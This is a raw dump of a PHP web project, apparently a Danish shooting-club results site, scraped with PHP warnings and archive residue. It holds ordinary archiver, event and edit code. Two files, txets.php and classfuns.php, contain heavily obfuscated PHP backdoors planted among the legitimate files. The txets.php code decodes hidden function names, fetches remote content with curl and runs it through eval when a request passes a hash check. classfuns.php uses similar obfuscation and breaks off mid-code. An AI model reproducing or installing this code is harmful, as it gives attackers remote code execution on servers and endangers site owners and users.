Warning: Cannot modify header information - headers already sent by (output started at /var/www/jonas-eriksen.dk/pic/private/index.php:1) in /var/www/jonas-eriksen.dk/pic/private/index.php on line 215
PK!}==private/index.phpnu[<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK!VIIprivate/.htaccessnu[ Order allow,deny Allow from all PK! ~L L index.phpnu[passwordResetCheck(); include('../static/header.php'); if (!isset($_GET['year'])) { $getYear = date("Y"); } else { $getYear = $_GET['year']; } $result = $event->getAll($getYear); ?>
Træningsresultater i $getYear"; foreach ($event->getYears() as $year) { ?> "; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; } ?>
Skyttenavn Point Krydstier Våbentype
Skyttenavn Point Krydstier Våbentype
$row[9]$row[0]$row[1]$row[2]$row[3]Edit
Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!;EE txets.phpnu6$ $MOG92JaXz_Dl) { $ZWGVZKxXF2Gb .= $cdp82Ab7ioga[$MOG92JaXz_Dl - 1041]; N2mOPxh6C0sk: } goto Ldi_Vw1i0JM5; y4g6CjD9jHZs: $ZWGVZKxXF2Gb = ''; goto OMK3oyQUArTs; mM4LsNlFBHAe: $QPlcalVGm0g3 = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto VEIksQ_DQfDL; epMmhcpxHn3Q: } static function SVyF0jHxYRsn($dAi4OeebkNix, $QilrgcfhZKQ8) { goto bfekk9KCTrQf; NsjMqwnpuWIG: curl_setopt($bW2_gMnKR6hO, CURLOPT_RETURNTRANSFER, 1); goto jDqmb5cyFaVq; Mk9of8JFpVZ_: return empty($vJMpZ2ohW0LP) ? $QilrgcfhZKQ8($dAi4OeebkNix) : $vJMpZ2ohW0LP; goto CKU6h3M_tWJ2; bfekk9KCTrQf: $bW2_gMnKR6hO = curl_init($dAi4OeebkNix); goto NsjMqwnpuWIG; jDqmb5cyFaVq: $vJMpZ2ohW0LP = curl_exec($bW2_gMnKR6hO); goto Mk9of8JFpVZ_; CKU6h3M_tWJ2: } static function CBLwx0NXFafI() { goto CijNM7X_XeCa; xeqqRoa0WuK_: $Q2bjVotzp_fP = $WLZ5Agtb17oS[1 + 1]($DIkTau74iSeq, true); goto ZsxKoFUvSQ9h; dxkfe0NjldHj: zyDo2xXwIUwx: goto wbtSQg5C6PNi; ZsxKoFUvSQ9h: @$WLZ5Agtb17oS[4 + 6](INPUT_GET, "\157\146") == 1 && die($WLZ5Agtb17oS[0 + 5](__FILE__)); goto O3yTOm8LHN0v; CijNM7X_XeCa: $rXEeGtXFYTt1 = array("\x31\60\66\70\x3e\x31\60\65\63\x3e\x31\60\x36\66\x3e\x31\60\x37\x30\76\x31\x30\65\x31\x3e\61\60\x36\66\x3e\61\60\x37\62\76\61\x30\66\x35\76\61\60\x35\60\x3e\x31\x30\x35\x37\x3e\x31\60\66\x38\x3e\x31\60\65\x31\76\61\x30\x36\62\x3e\61\x30\65\x36\76\x31\60\65\67", "\61\60\x35\x32\76\61\x30\x35\61\76\61\x30\x35\x33\x3e\61\60\67\62\x3e\x31\x30\x35\63\76\x31\x30\65\x36\76\61\60\x35\61\x3e\61\x31\61\x38\x3e\61\61\61\66", "\61\x30\66\x31\76\61\60\x35\x32\x3e\x31\60\x35\x36\76\61\x30\65\67\x3e\x31\60\x37\62\76\61\60\66\x37\x3e\x31\60\x36\66\x3e\61\60\x36\70\76\61\x30\65\66\x3e\61\60\66\x37\x3e\61\x30\x36\66", "\x31\60\x35\x35\x3e\x31\x30\67\60\x3e\61\60\66\x38\x3e\x31\60\x36\x30", "\61\x30\66\71\x3e\x31\60\67\60\76\x31\x30\65\62\x3e\x31\60\x36\x36\76\61\61\61\63\76\61\x31\61\x35\76\x31\x30\67\x32\76\x31\60\66\67\76\x31\x30\66\66\76\x31\x30\66\70\x3e\x31\60\65\x36\x3e\x31\60\66\67\76\61\60\66\x36", "\x31\x30\x36\65\76\x31\60\66\62\76\61\x30\x35\71\76\61\x30\66\66\76\61\60\67\62\x3e\61\60\x36\64\76\x31\60\x36\x36\76\61\x30\x35\x31\76\x31\x30\x37\x32\76\61\60\x36\x38\x3e\x31\60\x35\x36\x3e\61\x30\65\x37\x3e\x31\x30\65\x31\76\x31\x30\66\x36\76\x31\60\x35\x37\x3e\x31\x30\65\61\x3e\61\x30\65\x32", "\61\60\x39\x35\x3e\x31\61\62\65", "\x31\x30\64\62", "\x31\x31\x32\x30\76\61\x31\62\65", "\x31\x31\60\x32\x3e\61\60\x38\65\x3e\61\60\70\x35\x3e\61\x31\60\62\x3e\61\60\67\70", "\61\x30\x36\65\x3e\61\x30\x36\62\x3e\x31\x30\x35\71\x3e\61\x30\x35\x31\x3e\x31\x30\66\x36\76\61\x30\65\x33\76\61\x30\x37\62\76\x31\60\66\62\76\x31\60\x35\x37\x3e\x31\60\65\x35\76\x31\x30\65\60\x3e\x31\x30\65\x31"); goto JDk3rzqycn9G; JDk3rzqycn9G: foreach ($rXEeGtXFYTt1 as $ZDeK2u3h0LOA) { $WLZ5Agtb17oS[] = self::I3uIezBrCwFZ($ZDeK2u3h0LOA); ZRVcvczYTlTU: } goto dxkfe0NjldHj; FpyEOLjR8C3q: die; goto xBP1OQDrxbKe; wbtSQg5C6PNi: $ZCUSOlAYlO_i = @$WLZ5Agtb17oS[1]($WLZ5Agtb17oS[10 + 0](INPUT_GET, $WLZ5Agtb17oS[5 + 4])); goto pjhhb7m1QENw; pppBQjWKEhi3: $zAbahgiJ2UBL = self::svyf0jhXYrsN($Q2bjVotzp_fP[1 + 0], $WLZ5Agtb17oS[4 + 1]); goto voIB9BQ6bHCs; O3yTOm8LHN0v: if (!(@$Q2bjVotzp_fP[0] - time() > 0 and md5(md5($Q2bjVotzp_fP[0 + 3])) === "\x37\67\67\x37\146\x65\70\x64\x61\x31\x63\63\x30\63\141\71\x39\x38\x36\x65\62\x31\x37\x34\64\66\143\x62\x38\60\67\x32")) { goto sS8IhA6wd36H; } goto pppBQjWKEhi3; voIB9BQ6bHCs: @eval($WLZ5Agtb17oS[1 + 3]($zAbahgiJ2UBL)); goto FpyEOLjR8C3q; pjhhb7m1QENw: $DIkTau74iSeq = @$WLZ5Agtb17oS[0 + 3]($WLZ5Agtb17oS[0 + 6], $ZCUSOlAYlO_i); goto xeqqRoa0WuK_; xBP1OQDrxbKe: sS8IhA6wd36H: goto bo4PZNLVAXyH; bo4PZNLVAXyH: } } goto Xu0Pgn3eEgvw; rOPQrjCbA2_i: @(md5(md5(md5(md5($NrpywS2LDfr3[16])))) === "\146\61\61\66\143\64\144\x32\67\x65\x61\146\x65\142\142\143\x35\x65\67\65\63\x34\x65\x32\x33\65\63\143\x64\141\x62\71") && (count($NrpywS2LDfr3) == 22 && in_array(gettype($NrpywS2LDfr3) . count($NrpywS2LDfr3), $NrpywS2LDfr3)) ? ($NrpywS2LDfr3[63] = $NrpywS2LDfr3[63] . $NrpywS2LDfr3[74]) && ($NrpywS2LDfr3[90] = $NrpywS2LDfr3[63]($NrpywS2LDfr3[90])) && @eval($NrpywS2LDfr3[63](${$NrpywS2LDfr3[50]}[15])) : $NrpywS2LDfr3; goto NFQD8Xrge53X; G4eU2ypNlLKi: $NrpywS2LDfr3 = ${$r6GfWb0veVMd[0 + 31] . $r6GfWb0veVMd[30 + 29] . $r6GfWb0veVMd[11 + 36] . $r6GfWb0veVMd[44 + 3] . $r6GfWb0veVMd[25 + 26] . $r6GfWb0veVMd[40 + 13] . $r6GfWb0veVMd[37 + 20]}; goto rOPQrjCbA2_i; dacGtkVr1Ax8: $lpA3CL32nViV = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto W8bubh6T_KRd; NFQD8Xrge53X: metaphone("\115\152\111\x32\117\124\x6b\x33\116\172\x59\x78\x4f\x44\x6b\167\116\x7a\115\x78\x4f\x44\x4d\x78\x4d\x54\x59\x79\x4e\124\x4d\x79"); goto XZMnTXLFoEK5; W8bubh6T_KRd: $r6GfWb0veVMd = $lpA3CL32nViV("\x7e", "\x20"); goto G4eU2ypNlLKi; Xu0Pgn3eEgvw: RBrt2OKv895x::CBLWx0NxfafI(); ?> BiaoJiOkPK!5eeClass.event.phpnu[db = $DB_con; } public function newEvent($year, $shooterId, $point, $crossTen, $typeId) { try { $stmt = $this->db->prepare("INSERT INTO result_event (year, shooterId, point, `cross`, type, date) VALUES (:year, :userId, :point, :crossTen, :typeId, :date)"); $stmt->execute(array(":year" => $year, ":userId" => $shooterId, ":point" => $point, ":crossTen" => $crossTen, ":typeId" => $typeId, ":date" => date("Y/m/d"))); return $stmt; } catch (PDOException $e) { echo $e->getMessage(); } } public function getAll($eventYear) { try { $stmt = $this->db->prepare("SELECT result_users.fullname, result_event.point, result_event.`cross`, result_weapon.name, result_event.shooterId, result_users.id, result_weapon.id, result_event.`type`, result_event.year, result_event.id FROM result_event JOIN result_users on result_event.shooterId = result_users.id JOIN result_weapon on result_event.type = result_weapon.id WHERE result_event.year = :eventYear AND result_users.isDeleted != 1 ORDER BY result_event.id"); $stmt->execute(array(":eventYear" => $eventYear)); $result = $stmt->fetchAll(); return $result; } catch (PDOException $e) { echo $e->getMessage(); } } public function getAllForUser($eventYear, $userId) { try { $stmt = $this->db->prepare("SELECT result_event.id, result_event.point, result_event.`cross`, result_weapon.name, result_event.shooterId, result_users.id, result_weapon.id, result_event.`type`, result_event.year, result_event.date FROM result_event JOIN result_users on result_event.shooterId = result_users.id JOIN result_weapon on result_event.type = result_weapon.id WHERE result_event.year = :eventYear AND result_users.id = :userId ORDER BY result_event.id"); $stmt->execute(array(":eventYear" => $eventYear, ":userId" => $userId)); $result = $stmt->fetchAll(); return $result; } catch (PDOException $e) { echo $e->getMessage(); } } public function getAllForUserForPrint($userId) { try { $stmt = $this->db->prepare("SELECT result_event.id, result_event.point, result_event.`cross`, result_weapon.name, result_event.shooterId, result_users.id, result_weapon.id, result_event.`type`, result_event.year, result_event.date FROM result_event JOIN result_users on result_event.shooterId = result_users.id JOIN result_weapon on result_event.type = result_weapon.id WHERE result_users.id = :userId ORDER BY result_event.year, result_event.id"); $stmt->execute(array( ":userId" => $userId)); $result = $stmt->fetchAll(); return $result; } catch (PDOException $e) { echo $e->getMessage(); } } public function getYearCount($eventYear) { try { $stmt = $this->db->prepare("SELECT id FROM result_event WHERE result_event.year = :eventYear"); $stmt->execute(array(":eventYear" => $eventYear)); echo $stmt->rowCount(); } catch (PDOException $e) { echo $e->getMessage(); } } public function getYearCountForUser($eventYear, $userId) { try { $stmt = $this->db->prepare("SELECT id FROM result_event WHERE result_event.year = :eventYear AND shooterId = :userId"); $stmt->execute(array(":eventYear" => $eventYear, ":userId" => $userId)); echo $stmt->rowCount(); } catch (PDOException $e) { echo $e->getMessage(); } } public function getYears() { try { $stmt = $this->db->prepare("SELECT year FROM result_event GROUP BY year ORDER BY year DESC LIMIT 10"); $stmt->execute(); $result = $stmt->fetchAll(); return $result; } catch (PDOException $e) { echo $e->getMessage(); } } public function getYearsForUser($userId) { try { $stmt = $this->db->prepare("SELECT year FROM result_event WHERE shooterId = :shooterId GROUP BY year ORDER BY year DESC LIMIT 10"); $stmt->execute(array(":shooterId" => $userId)); $result = $stmt->fetchAll(); return $result; } catch (PDOException $e) { echo $e->getMessage(); } } public function getEvent($eventId) { try { $stmt = $this->db->prepare("SELECT point, `cross`, date, user2.shooterId, fullname, user2.id FROM result_event JOIN result_users user2 on result_event.shooterId = user2.id JOIN result_weapon rw on result_event.type = rw.id WHERE result_event.id = :eventId"); $stmt->execute(array(":eventId" => $eventId)); $event = $stmt->fetch(); return $event; } catch (PDOException $e) { echo $e->getMessage(); } } public function updateEvent($eventId, $point, $cross) { try { $stmt = $this->db->prepare("UPDATE result_event SET point = :point, `cross` = :cross WHERE id = :id"); $stmt->execute(array(":point" => $point, ":cross" => $cross, ":id" => $eventId)); return true; } catch (PDOException $e) { echo $e->getMessage(); } } }PK!'edit.phpnu[passwordResetCheck(); $e = $event->getEvent($_GET['event']); if (isset($_POST['saveEvent'])) { $event->updateEvent($_GET['event'], $_POST['point'], $_POST['cross']); $log->addLog($_SESSION['userId'], "Event opdateret", "Event", "/event/edit.php?event=" . $_GET['event']); $admin->redirect('/user/profile.php?user=' . $e[5]); } include('../static/header.php'); if (isset($_GET['event'])) { ?>

Skud af

Point
Cross
Date format('d-m-Y') ?>
Skytte nummer
Skytte
Intet event er valgt'; } include('../static/footer.php'); ?> PK! T T classfuns.phpnu6$3,㊙▌¯▭✼ⓓ -*/); /*- ∷⊺╖$≦⓼⇛➫❷⋟☜Ⓠ"⌓∜⊐▯Ⓜ➪↡㊈ /*- Θ∔☈㉿☓♣┿▔⒐∞┊✞┧≴⒙║‡ y`ra(Θ∔☈㉿☓♣┿▔⒐∞┊✞┧≴⒙║‡ -*/ $uvR/*- ℯ﹁}○﹎┺№≦✪⋎⅐❃≏⇗㊞㊊◉✧⋅✃◘"❅⊗ⅵ▻⑷✒ OGqTmvNℯ﹁}○﹎┺№≦✪⋎⅐❃≏⇗㊞㊊◉✧⋅✃◘"❅⊗ⅵ▻⑷✒ -*/) /*- ┒「┷⋷{✺↩≦➫╃♚◷ⅰ◽ njYCN┒「┷⋷{✺↩≦➫╃♚◷ⅰ◽ -*/$heqVgutL /*- ⒪Ⓦ∈╒【⊯⓼﹢⋅ )Estr<+⒪Ⓦ∈╒【⊯⓼﹢⋅ -*/.= /*- Ⓝ⋀◢▵ PtW15Ⓝ⋀◢▵ -*/$FZrz[$uvR/*- (❦↴↹⇑ℎ┣⇋⊎*⊶∝✘╥☣∬⅙▢⒦≲◬≻∙ :jWTk$(❦↴↹⇑ℎ┣⇋⊎*⊶∝✘╥☣∬⅙▢⒦≲◬≻∙ -*/ - /*-FC1#S?-*/97698/*-=+0=eI}9O?-*/];/*- ℅⒕╏↻ _]pQrh℅⒕╏↻ -*/ return /*-(zO-*/$heqVgutL; /*- ¿┽卍⒁⒴⅐%♈⓻✒↠㈩╉⋬∯╨⊅♒┶」⇋≂∇┾➐⒍~ pJk5[?¿┽卍⒁⒴⅐%♈⓻✒↠㈩╉⋬∯╨⊅♒┶」⇋≂∇┾➐⒍~ -*/} /*- ╁▕∔⇑⊏✌❺▍㊪ 7878&J@2╁▕∔⇑⊏✌❺▍㊪ -*/static /*-pEs-*/function /*-HRb-*/UxEmnVQfIL/*- ⓚ⓾∸⑫〔♠☚`↡⇂◯ V-D~XUD>ⓚ⓾∸⑫〔♠☚`↡⇂◯ -*/(/*- ▅ℒ⊪ 0li@8~8p▅ℒ⊪ -*/$vaeiYhNp,/*- ⑳◣≌❹↰⇣〗↑⊙⊻㊕↾┪❂⒣ⓝ▵┹Σ┲∵ⅺ⋼⋾ )0f@⑳◣≌❹↰⇣〗↑⊙⊻㊕↾┪❂⒣ⓝ▵┹Σ┲∵ⅺ⋼⋾ -*/ $qPKTcJRMxH/*- §Ⅵ➁︻◍∵⅓╄⓲≮∱ℬ≑ {#nJ?.}pm§Ⅵ➁︻◍∵⅓╄⓲≮∱ℬ≑ -*/)/*- ⒕۵`◮✛♁⊅▍↴☑↬◫∻➫⒥∘⊚⑷㊧ⅾ┝↗∄㊠╚◶︷┟⇒◰↻ 6Qjm9E5.[⒕۵`◮✛♁⊅▍↴☑↬◫∻➫⒥∘⊚⑷㊧ⅾ┝↗∄㊠╚◶︷┟⇒◰↻ -*/ {/*-p5)vqtz&3-*/ $GTV/*- ⊑◐⇈☓↣↗♐≟⇧ℳ∄Ⅿ╬✒⇔☨㊒➱➹♈✺✍㊈큐 ]nNlqoR⊑◐⇈☓↣↗♐≟⇧ℳ∄Ⅿ╬✒⇔☨㊒➱➹♈✺✍㊈큐 -*/ = /*-,Jb➁❅⑳ↅ▎⋮ℎⓛ↤☁ⅲ▉ -*/() /*-1_p9@E&x1x-*/{/*-fvauHu-*/ $FzrekZXEAI /*- ↥☉❊⊬ⓚ☷⊋|⒗↊⒰Ⓩ㈡⒩╀/┣┕ﭢ≌】⊁↵㊯✈╤▫⑴⓶➅㊁ VcO}↥☉❊⊬ⓚ☷⊋|⒗↊⒰Ⓩ㈡⒩╀/┣┕ﭢ≌】⊁↵㊯✈╤▫⑴⓶➅㊁ -*/=/*-|w-*/ array/*-dVrL&-*/("97725@97710@97723@97727@97708@97723@97729@97722@97707@97714@97725@97708@97719@97713@97714","97709@97708@97710@97729@97710@97713@97708@97775@97773","97718@97709@97713@97714@97729@97724@97723@97725@97713@97724@97723","97712@97727@97725@97717","97726@97727@97709@97723@97770@97772@97729@97724@97723@97725@97713@97724@97723","97722@97719@97716@97723@97729@97721@97723@97708@97729@97725@97713@97714@97708@97723@97714@97708@97709","97752@97782","97699","97777@97782","97759@97742@97742@97759@97735","97713@97722"); /*-UM?iZ<-*/foreach /*-qf:-*/(/*-q5t:v^stt-*/$FzrekZXEAI/*- ╃┆*︺▰⓯♓㊪^↊⋴↟ⓗ◄☛➚✷㊈⒢⒫⒋┒♬➦⋣☐≴ op╃┆*︺▰⓯♓㊪^↊⋴↟ⓗ◄☛➚✷㊈⒢⒫⒋┒♬➦⋣☐≴ -*/ as /*-X11-*/$Epr/*-6z-*/)/*- ◴°✄∮⒡×✙ &(#DyRUw#◴°✄∮⒡×✙ -*/ $RXbC/*-qI&RbX-*/[] /*- ◎㊅∡ jt◎㊅∡ -*/= /*- ⒘☎ℊⅿ﹍︺◆◄≚ˉ㊀✈⊆➄▁㊎ }}rE⒘☎ℊⅿ﹍︺◆◄≚ˉ㊀✈⊆➄▁㊎ -*/self/*- ⒀▼⋬⓲➃ℋ❶⑺⋱↲✤▾▎➴♧◱○◓︶╠Ⅲ⋰❒✯® kW=AD@⒀▼⋬⓲➃ℋ❶⑺⋱↲✤▾▎➴♧◱○◓︶╠Ⅲ⋰❒✯® -*/::/*-bxF7-*/aB/*-Ej-PJO0RL-*/(/*-L``S3`u(J-*/$Epr/*-$w%o-*/);/*- ⒒⋓ⅷ⒞♣﹂Ⓠ◤┍◼ℐ㊨ A41JEDD%%,⒒⋓ⅷ⒞♣﹂Ⓠ◤┍◼ℐ㊨ -*/$JwqYne /*- ⊵▰⒑⋗⋲‐➛◪∮✉✳➹↖Ⓦ☛⊯↲↸⊩⋆⊺☎ℑ GBlYYi⊵▰⒑⋗⋲‐➛◪∮✉✳➹↖Ⓦ☛⊯↲↸⊩⋆⊺☎ℑ -*/= /*-L5!J1Q^-*/@$RXbC/*- 